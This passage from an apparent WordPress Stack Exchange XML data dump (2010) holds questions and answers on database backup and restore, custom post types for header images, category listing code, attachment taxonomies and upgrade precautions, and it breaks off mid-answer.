  <row Id="629" PostTypeId="2" ParentId="628" CreationDate="2010-08-20T09:50:36.527" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_categories()&lt;/code&gt;&lt;/a&gt; function is what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Thanks for the clarifications. Sounds like you're doing the same thing as &lt;a href=&quot;http://wordpress.stackexchange.com/questions/496/can-i-add-a-category-metabox-to-attachment&quot;&gt;this question&lt;/a&gt;, ie. creating a new taxonomy for attachments. (I'm not sure they get these categories automatically, maybe someone else can clarify.) I haven't played with that functionality yet, but does that other post sound like what you're looking for?&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2010-08-20T11:19:17.500" LastActivityDate="2010-08-20T11:19:17.500" CommentCount="5" />
  <row Id="631" PostTypeId="2" ParentId="522" CreationDate="2010-08-20T10:00:02.880" Score="1" ViewCount="" Body="&lt;p&gt;Please see the &lt;a href=&quot;http://www.sephiroth.it/tutorials/flashPHP/loadVars/&quot; rel=&quot;nofollow&quot;&gt;loadvars() function in flash&lt;/a&gt;. It basically works together with the &lt;a href=&quot;http://php.net/manual/en/function.urlencode.php&quot; rel=&quot;nofollow&quot;&gt;PHP urlencode() function&lt;/a&gt; so you can send small bits of data to your flash movie. This should work with flash 2 and up. &lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-20T10:00:02.880" />
  <row Id="632" PostTypeId="2" ParentId="469" CreationDate="2010-08-20T10:08:34.107" Score="2" ViewCount="" Body="&lt;p&gt;This is just a rough idea: If you get a &quot;real&quot; 404 error (with headers set), then you could search through your plugins and look for the &lt;a href=&quot;http://www.php.net/manual/en/function.header.php&quot; rel=&quot;nofollow&quot;&gt;PHP &lt;code&gt;header()&lt;/code&gt; function&lt;/a&gt; and the 404 number. This could drill down the number of plugins from 70 to just some. Then you only need to check for those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be easily done with a IDE like Eclipse PDT that offers search for a specific PHP function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that but with no guarantee that it sucessfully works, is to write a plugin that hooks into header setting and then giving you trace which code is actually setting a potential 404 (backtrace). This would only work if the plugin is using the wordpress API function. The first method to look for the PHP function will work regardless of WP API.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-20T10:08:34.107" CommentCount="2" />
  <row Id="633" PostTypeId="2" ParentId="119" CreationDate="2010-08-20T11:01:59.003" Score="2" ViewCount="" Body="&lt;p&gt;You might take a look at a product from iThemes, called &lt;a href=&quot;http://pluginbuddy.com/purchase/backupbuddy/&quot; rel=&quot;nofollow&quot;&gt;BackUpBuddy&lt;/a&gt;. I've only used it twice, each time had a hitch or two, but overall it looks promising.&lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2010-08-20T11:01:59.003" />
  <row Id="634" PostTypeId="2" ParentId="589" CreationDate="2010-08-20T11:23:25.190" Score="0" ViewCount="" Body="&lt;p&gt;I agree that Genesis is worth a look. I also use, and like a lot, &lt;a href=&quot;http://ithemes.com/purchase/builder-theme/&quot; rel=&quot;nofollow&quot;&gt;Builder&lt;/a&gt; from iThemes. &lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2010-08-20T11:23:25.190" />
  <row Id="635" PostTypeId="1" AcceptedAnswerId="643" CreationDate="2010-08-20T11:31:21.003" Score="2" ViewCount="217" Body="&lt;p&gt;I am using Wordpress 3 and would like to backup the database to my computer (a Mac). My webhost is using PHP safe mode, so that sometimes limits what plugins I can use. What is a good way to do a database backup? Is it possible to be automated? Are incremental backups recommended/easy? Obviously I then need to test restoring form a backup.&lt;/p&gt;&#xA;" OwnerUserId="187" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-21T01:20:04.063" LastActivityDate="2010-08-21T01:20:04.063" Title="Backup the Database and Restore from the Backup?" Tags="&lt;3.0&gt;&lt;database&gt;&lt;backup&gt;" AnswerCount="6" FavoriteCount="1" />
  <row Id="636" PostTypeId="2" ParentId="635" CreationDate="2010-08-20T11:48:07.447" Score="1" ViewCount="" Body="&lt;p&gt;I would start by reading the sections in the Codex on &lt;a href=&quot;http://codex.wordpress.org/WordPress_Backups&quot; rel=&quot;nofollow&quot;&gt;WordPress Backups&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Backing_Up_Your_Database&quot; rel=&quot;nofollow&quot;&gt;Backing Up Your Database&lt;/a&gt;, and &lt;a href=&quot;http://codex.wordpress.org/Restoring_Your_Database_From_Backup&quot; rel=&quot;nofollow&quot;&gt;Restoring Your Database From Backup&lt;/a&gt;, to get a good understanding of the issues involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=database+backup&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;a number of plugins&lt;/a&gt; written to automate the database backup process.  Due to your webhost issue, you may have to just try a few to find one that works.  I don't know of a plugin that can also restore from a backup - to do that, you'll probably have to use PHPMyAdmin or an equivalent tool to restore manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I like about the automated backup options is that some (all?) of them have the option to send you a compressed database file (i.e. db123.sql.gz).  I just create a filter in my email client to bypass my inbox and archive the message, so I can essentially access a revision history of my database. Alternatively, if you wanted to be sure the backups were still happening, you could not filter them to bypass your inbox, and manually archive/save each time.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-20T15:58:48.387" LastActivityDate="2010-08-20T15:58:48.387" />
  <row Id="637" PostTypeId="2" ParentId="373" CreationDate="2010-08-20T12:03:23.247" Score="1" ViewCount="" Body="&lt;p&gt;I'd suggest reading &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1430228954&quot; rel=&quot;nofollow&quot;&gt;Beginning WordPress 3&lt;/a&gt; and &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470560541&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress&lt;/a&gt;. I would not be concerned about the poor initial reviews on the first book - they are people complaining that it's too advanced, and based on your description of your knowledge level, I don't think that would be a concern. I have both books and like them both (although I have not finished them - I just purchased them).&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-20T12:03:23.247" />
  <row Id="638" PostTypeId="2" ParentId="635" CreationDate="2010-08-20T13:17:36.230" Score="1" ViewCount="" Body="&lt;p&gt;There are several commercial backup options, as well. &lt;a href=&quot;http://www.backupify.com/&quot; rel=&quot;nofollow&quot;&gt;Backupify&lt;/a&gt;, &lt;a href=&quot;http://pluginbuddy.com/purchase/backupbuddy/&quot; rel=&quot;nofollow&quot;&gt;BackupBuddy&lt;/a&gt; and &lt;a href=&quot;http://vaultpress.com/&quot; rel=&quot;nofollow&quot;&gt;VaultPress&lt;/a&gt; spring readily to mind.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-20T13:17:36.230" />
  <row Id="639" PostTypeId="1" CreationDate="2010-08-20T13:23:04.410" Score="9" ViewCount="1634" Body="&lt;p&gt;Does anyone have any tips for creating an image-centric custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To elaborate, my blog has rotating header images, shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://dl.dropbox.com/u/146967/20100820.sixohthree-header.jpg&quot; alt=&quot;Blog header showing random images&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two images in the top left are randomized, and exist as attachments to a specific page that only exists to contain these images. I'm wondering if it's feasible to store these in a different way using custom post types. I've created a new post type, &quot;header-image&quot;, and I'm trying to figure out where to go from here. I would like each header-image &quot;post&quot; to have one image attachment. Instead of pulling random images from a page, I would pull random posts from the header-image post type. Given this,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How might I incorporate a simple interface to the attachment process that is available from the &quot;New Header Image&quot; admin page?&lt;/li&gt;&#xA;&lt;li&gt;Can I remove the post title and content input boxes to unclutter that page?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Goals are to &lt;strong&gt;create a better interface&lt;/strong&gt; to the current upload process, and eventually be able to &lt;strong&gt;create a taxonomy&lt;/strong&gt; to flag images as left picture/right picture. (Looking at the above image, you can see the photo on the right covers up the face in the other photo. I could avoid this by marking photos for left and/or right side display.) The latter won't be a problem if I can implement the former.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; based on an answer here, I was able to implement this setup. Full code is &lt;a href=&quot;http://wordpress.stackexchange.com/questions/639/creating-an-image-centric-custom-post-type/647#647&quot;&gt;posted below&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-10-14T21:23:07.463" LastActivityDate="2010-11-22T11:33:48.380" Title="Creating an Image-Centric Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;3.0.1&gt;&lt;images&gt;&lt;attachments&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="13" />
  <row Id="640" PostTypeId="2" ParentId="635" CreationDate="2010-08-20T13:41:22.120" Score="1" ViewCount="" Body="&lt;p&gt;If your webhost has cPanel, you might check there for a section on backup/restore. Two of my hosts have very easy to use tools, to do full or partial BU or restore, accessible through cPanel. Granted, these are not automated or incremental, but perhaps useful to you, nonetheless. Forgive me if you already know this, but the DB alone is not enough; you'll need the files and folders, as well.&lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2010-08-20T13:41:22.120" />
  <row Id="641" PostTypeId="2" ParentId="639" CreationDate="2010-08-20T13:42:23.863" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function register_header_image() {&#xA;     register_post_type( 'header-image', &#xA;                         array( &#xA;                             'label'=&amp;gt;'Header Images',&#xA;                             'name'=&amp;gt;'Header Images',&#xA;                             'singular_name'=&amp;gt;'Header Image',&#xA;                             'public'=&amp;gt;true,&#xA;                             'show_ui'=&amp;gt;true,&#xA;                             'hierarchical'=&amp;gt;true,&#xA;                             'supports'=&amp;gt;array('thumbnail') ) );&#xA;}&#xA;&#xA;add_action ('init','register_header_image');&#xA;add_theme_support( 'post-thumbnails' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should register your post type with nothing but a field for a featured image. See the codex &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt; for a list of the arguments to pass. &lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-11-02T15:10:09.743" LastActivityDate="2010-11-02T15:10:09.743" CommentCount="2" />
  <row Id="642" PostTypeId="2" ParentId="635" CreationDate="2010-08-20T14:26:51.703" Score="0" ViewCount="" Body="&lt;p&gt;The number one plugin for this purpose, IMHO, is &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-dbmanager/&quot; rel=&quot;nofollow&quot;&gt;wp-dbmanager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-08-20T14:26:51.703" />
  <row Id="643" PostTypeId="2" ParentId="635" CreationDate="2010-08-20T14:45:12.413" Score="5" ViewCount="" Body="&lt;p&gt;I've personally had limited success with the backup/restore plug-ins that are commonly available.  Many times, the best backup plug-ins don't allow for a direct restoration from a backup file.  So I do things manually.  It's a bit more difficult, but far more reliable, too.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Backing up with phpMyAdmin&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log in to your host's control panel (it might be cPanel, it might be something else).&lt;/li&gt;&#xA;&lt;li&gt;Find phpMyAdmin and go to your WordPress database&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Export&quot;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure all tables are selected&lt;/li&gt;&#xA;&lt;li&gt;Click the option to save as a text file&lt;/li&gt;&#xA;&lt;li&gt;Export the database and save the exported file in a safe place.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Restoring with phpMyAdmin&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log in as before, go to phpMyAdmin, select your database&lt;/li&gt;&#xA;&lt;li&gt;If you want a full restore (i.e. delete everything and roll back in your backup file):&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Empty all of your database tables&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Import&quot;&lt;/li&gt;&#xA;&lt;li&gt;Load your backup text file to restore all of your previous data&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've done this with 10 different sites.  The only times it has problems is when the backup file is huge (&gt;2MB).  In those situations, you'll need to open your backup file in a text editor (Notepad or Wordpad) and copy-paste each set of SQL queries (I break it up by table) into the phpMyAdmin statement window.  Even then, it's a fairly quick process and will work every time.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Disclaimer: If you've never used phpMyAdmin before, have difficulty reading SQL statements, or are working on someone else's site as a favor, &lt;em&gt;please&lt;/em&gt; hire a professional with loads of experience to do this.  If you accidentally delete your database or are working with a corrupt backup file &lt;em&gt;there is nothing we can do to fix it.&lt;/em&gt;&lt;/h3&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-20T14:45:12.413" CommentCount="1" />
  <row Id="644" PostTypeId="2" ParentId="373" CreationDate="2010-08-20T15:41:32.660" Score="1" ViewCount="" Body="&lt;p&gt;Practical PHP is an O'Reilly book about PHP that is &lt;a href=&quot;http://www.tuxradar.com/practicalphp/&quot; rel=&quot;nofollow&quot;&gt;available in its entirety online&lt;/a&gt;. It's not a fun read but it is a full reference and covers all major aspects of PHP. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2010-08-20T15:41:32.660" CommentCount="1" />
  <row Id="645" PostTypeId="2" ParentId="468" CreationDate="2010-08-20T15:45:46.697" Score="2" ViewCount="" Body="&lt;p&gt;What precision do you need? if it's a state/national wide search maybe you could do a lat-lon to zip lookup and have precomputed distance from zip area to zip area of the restaurant. If you need accurate distances that won't be a good option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should look into a &lt;a href=&quot;http://en.wikipedia.org/wiki/Geohash&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Geohash&lt;/strong&gt;&lt;/a&gt; solution, in the Wikipedia article there is a link to a PHP library to encode decode lat long to geohashs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you have &lt;a href=&quot;http://code.google.com/appengine/articles/geosearch.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;a good article&lt;/strong&gt;&lt;/a&gt; explaining why and how they use it in Google App Engine (Python code but easy to follow.) Because of the need to use geohash in GAE you can find some good python libraries and examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;http://predictablechaos.blogspot.com/2008/08/geohash.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this blog post&lt;/strong&gt;&lt;/a&gt; explains, the advantage of using geohashes is that you can create an index on the MySQL table on that field. &lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-20T16:15:50.240" LastActivityDate="2010-08-20T16:15:50.240" CommentCount="3" />
  <row Id="646" PostTypeId="1" AcceptedAnswerId="648" CreationDate="2010-08-20T15:47:26.960" Score="1" ViewCount="507" Body="&lt;p&gt;I'm trying to remove the last separator (normally a &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt; tag but I changed it to &quot;//&quot;) from the last link from wp_list_categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 1 // Category 2 // Category 3 //&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 1 // Category 2 // Category 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the current code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$cat_array = array();&#xA;$args=array(&#xA; 'author' =&amp;gt; get_the_author_meta('id'),&#xA; 'showposts'=&amp;gt;-1,&#xA; 'caller_get_posts'=&amp;gt;1&#xA;);&#xA;$author_posts = get_posts($args);&#xA;if( $author_posts ) {&#xA;  foreach ($author_posts as $author_post ) {&#xA;    foreach(get_the_category($author_post-&amp;gt;ID) as $category) {&#xA;      $cat_array[$category-&amp;gt;term_id] =  $category-&amp;gt;term_id;&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;$cat_ids = implode(',', $cat_array);&#xA;echo strtr(wp_list_categories('include='.$cat_ids.'&amp;amp;title_li=&amp;amp;style=none&amp;amp;echo=0'),array('&amp;lt;br /&amp;gt;'=&amp;gt;' // '));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="325" LastActivityDate="2010-12-19T01:30:53.620" Title="WordPress remove &lt;br/&gt; separator from last item in wp_list_categories" Tags="&lt;categories&gt;" AnswerCount="3" />
  <row Id="647" PostTypeId="2" ParentId="639" CreationDate="2010-08-20T16:09:59.153" Score="12" ViewCount="" Body="&lt;p&gt;goldenapple's initial answer gave me the jumpstart I needed to finish this up.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;functions.php&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here is the complete code I'm using to add a new post type &quot;header-image&quot; and modify other admin screens accordingly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Register the Header Image custom post type.&#xA; */&#xA;function sixohthree_init() {&#xA;    $labels = array(&#xA;        'name' =&amp;gt; 'Header Images',&#xA;        'singular_name' =&amp;gt; 'Header Image',&#xA;        'add_new_item' =&amp;gt; 'Add Header Image',&#xA;        'edit_item' =&amp;gt; 'Edit Header Image',&#xA;        'new_item' =&amp;gt; 'New Header Image',&#xA;        'view_item' =&amp;gt; 'View Header Image',&#xA;        'search_items' =&amp;gt; 'Search Header Images',&#xA;        'not_found' =&amp;gt; 'No Header Images found',&#xA;        'not_found_in_trash' =&amp;gt; 'No Header Images found in Trash'&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; false,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array('thumbnail')&#xA;    );&#xA;&#xA;    register_post_type( 'header-image', $args );&#xA;}&#xA;add_action( 'init', 'sixohthree_init' );&#xA;&#xA;/**&#xA; * Modify which columns display when the admin views a list of header-image posts.&#xA; */&#xA;function sixohthree_headerimage_posts_columns( $posts_columns ) {&#xA;    $tmp = array();&#xA;&#xA;    foreach( $posts_columns as $key =&amp;gt; $value ) {&#xA;        if( $key == 'title' ) {&#xA;            $tmp['header-image'] = 'Header Image';&#xA;        } else {&#xA;            $tmp[$key] = $value;&#xA;        }&#xA;    }&#xA;&#xA;    return $tmp;&#xA;}&#xA;add_filter( 'manage_header-image_posts_columns', 'sixohthree_headerimage_posts_columns' );&#xA;&#xA;/**&#xA; * Custom column output when admin is view the header-image post list.&#xA; */&#xA;function sixohthree_headerimage_custom_column( $column_name ) {&#xA;    global $post;&#xA;&#xA;    if( $column_name == 'header-image' ) {&#xA;        echo &quot;&amp;lt;a href='&quot;, get_edit_post_link( $post-&amp;gt;ID ), &quot;'&amp;gt;&quot;, get_the_post_thumbnail( $post-&amp;gt;ID ), &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;add_action( 'manage_posts_custom_column', 'sixohthree_headerimage_custom_column' );&#xA;&#xA;/**&#xA; * Make the &quot;Featured Image&quot; metabox front and center when editing a header-image post.&#xA; */&#xA;function sixohthree_headerimage_metaboxes( $post ) {&#xA;    global $wp_meta_boxes;&#xA;&#xA;    remove_meta_box('postimagediv', 'header-image', 'side');&#xA;    add_meta_box('postimagediv', __('Featured Image'), 'post_thumbnail_meta_box', 'header-image', 'normal', 'high');&#xA;}&#xA;add_action( 'add_meta_boxes_header-image', 'sixohthree_headerimage_metaboxes' );&#xA;&#xA;/**&#xA; * Enable thumbnail support in the theme, and set the thumbnail size.&#xA; */&#xA;function sixohthree_after_setup() {&#xA;    add_theme_support( 'post-thumbnails' );&#xA;    set_post_thumbnail_size(150, 100, true);&#xA;}&#xA;add_action( 'after_setup_theme', 'sixohthree_after_setup' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Admin screenshots&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://dl.dropbox.com/u/146967/20100820.header-images-admin.jpg&quot; alt=&quot;Header Images post list&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://dl.dropbox.com/u/146967/20100820.header-images-edit.jpg&quot; alt=&quot;Header Images post editing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Template code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$header_images = get_posts('post_type=header-image&amp;amp;orderby=rand&amp;amp;numberposts=2');&#xA;&#xA;foreach( $header_images as $idx =&amp;gt; $post ) {&#xA;    setup_postdata($post);&#xA;    the_post_thumbnail('post-thumbnail', array('class' =&amp;gt; 'snapshot snapshot' . ($idx+1) ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-20T16:09:59.153" CommentCount="1" />
  <row Id="648" PostTypeId="2" ParentId="646" CreationDate="2010-08-20T16:20:12.997" Score="2" ViewCount="" Body="&lt;p&gt;Change the last line to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = strtr( wp_list_categories( 'include='.$cat_ids.'&amp;amp;title_li=&amp;amp;style=none&amp;amp;echo=0' ), array( '&amp;lt;br /&amp;gt;' =&amp;gt; ' // ' ) );&#xA;echo preg_replace( '@\s//\s\n$@', '', $output );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-20T16:20:12.997" />
  <row Id="649" PostTypeId="2" ParentId="496" CreationDate="2010-08-20T17:44:08.940" Score="5" ViewCount="" Body="&lt;p&gt;I'm going to answer my own question here as I have managed to figure out a solution to what I've been trying to do. I came to the conclusion that it wasn't possible to get the Category Metabox enabled for attachments. However, I found that it was easy enough to get a basic field for Categories added to the attachments page by using &lt;code&gt;register_taxonomy_for_object_type&lt;/code&gt; and &lt;code&gt;add_post_type_support&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'reg_tax');&#xA;function reg_tax() {&#xA;   register_taxonomy_for_object_type('category', 'attachment');&#xA;   add_post_type_support('attachment', 'category');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The field added showed like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/RnAHW.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just a plain text field but what I found was that you could type the name of an existing category in there and it would then be successfully saved when the attachment was updated (The only odd behaviour is that it rendered back the normal version instead of the slug after saving).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I realised that I could save categories this way then I figured that I could get a list of all available categories as checkboxes and check the ones that had been selected. I then used a bit of jQuery to grab the values of checked categories and put all the categories' slugs into the Category field. To make this seem even more seamless I then used a simple bit of CSS to hide the table row that contained the Category field, so all you ever see are the checkboxes, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/FKa4K.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I can add categories to image attachments I can use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_posts('post_type=attachment&amp;amp;category_name=timber-fixed-windows')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And pull the categorised images into a page! Exactly what I was hoping to do, I didn't think there was going to be a way to do it but glad I managed to figure something out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've turned this into a plugin called &lt;code&gt;WOS Media Categories&lt;/code&gt; which I have made available to download from &lt;a href=&quot;http://suburbia.org.uk/page/projects.html#wos_media_categories&quot; rel=&quot;nofollow&quot;&gt;my website, Suburbia.org.uk&lt;/a&gt;, I hope it may be of use to somebody else! Thanks again to those who commented on this and other questions I've asked here which helped figure it out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I've added a fix to enable categories to be added whilst images are uploaded using the Flash bulk uploader.&lt;/p&gt;&#xA;" OwnerUserId="184" LastEditorUserId="184" LastEditorDisplayName="" LastEditDate="2010-11-01T13:43:15.407" LastActivityDate="2010-11-01T13:43:15.407" CommentCount="9" />
  <row Id="650" PostTypeId="2" ParentId="646" CreationDate="2010-08-20T17:49:01.350" Score="3" ViewCount="" Body="&lt;p&gt;You got a lotta string processing going on there. You might be better off outputting the results as a list&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_categories('include='.$cat_ids.'&amp;amp;title_li=');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and styling it with css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li.cat-item { list-style-type: none; display: inline; }&#xA;li.cat-item:before { content: &quot;&amp;amp;#32;&amp;amp;#47;&amp;amp;#47;&amp;amp;#32;&quot;; }&#xA;li.cat-item:first-child:before { content: none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just another alternative to consider...&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-08-20T17:49:01.350" CommentCount="1" />
  <row Id="651" PostTypeId="1" AcceptedAnswerId="652" CreationDate="2010-08-20T18:20:08.000" Score="4" ViewCount="130" Body="&lt;p&gt;Going to upgrade Wordpress 2.7.1 to 3.0.1 along with all plugins, any tips to do without trouble?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: 7 September&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dashboard is showing &quot;New version available&quot; for both, Wordpress version and for some plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i want to upgrade everything. then what should be upgraded first, Wordpress or plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And which update would be best for both automatic through dashboard or manually through FTP&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditorDisplayName="" LastEditDate="2010-09-07T15:53:18.807" LastActivityDate="2010-09-07T15:53:18.807" Title="Upgrading WordPress and Plugins; any Tips to Avoid Trouble?" Tags="&lt;3.0&gt;&lt;updates&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="652" PostTypeId="2" ParentId="651" CreationDate="2010-08-20T18:31:52.767" Score="3" ViewCount="" Body="&lt;p&gt;You shouldn't have any trouble ... but before doing the upgrade I recommend you do the following:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Backup everything&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Back up your theme&lt;/li&gt;&#xA;&lt;li&gt;Back up all of your plug-ins&lt;/li&gt;&#xA;&lt;li&gt;Back up your existing database&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will allow you to &quot;undo&quot; the upgrade if needed.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Check theme compatibility&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you're using a commonly available theme, check to make sure it's compatible with WordPress 3.0.1 before upgrading.  Chances are good that it will be, but if you can double check before upgrading you can save yourself a potential headache.  I've seen people try to upgrade from version 2.0 to version 2.9 with themes that broke afterwards ...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Check plug-in compatibility&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Some plug-ins might not work with the new version of WordPress.  Check to see if they are rated as compatible before upgrading - if they're not, be prepared for a plug-in to potentially break ... so if it's an absolute necessity, look for a potential alternative in the event that it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had various calendar plug-ins fail on new version of WordPress ... so make sure you have an option available if something goes wrong.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Be prepared for everything to work anyway&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I've upgraded several systems from 2.7.X to 3.0 over the past few weeks without any problems.  So there's a &lt;em&gt;very good chance&lt;/em&gt; that your update will go off without a hitch and these precautionary steps were a waste of time.  But better to waste the time &lt;strong&gt;now&lt;/strong&gt; than to have to fix a broken site after the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Final suggestion&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Upgrade your plug-ins one-at-a-time.  If you're upgrading a whole slew of things at once, it can be harder to track down what caused any errors (if any do occur).  Upgrading plug-ins one-at-a-time will help you isolate and fix any problems.  If a 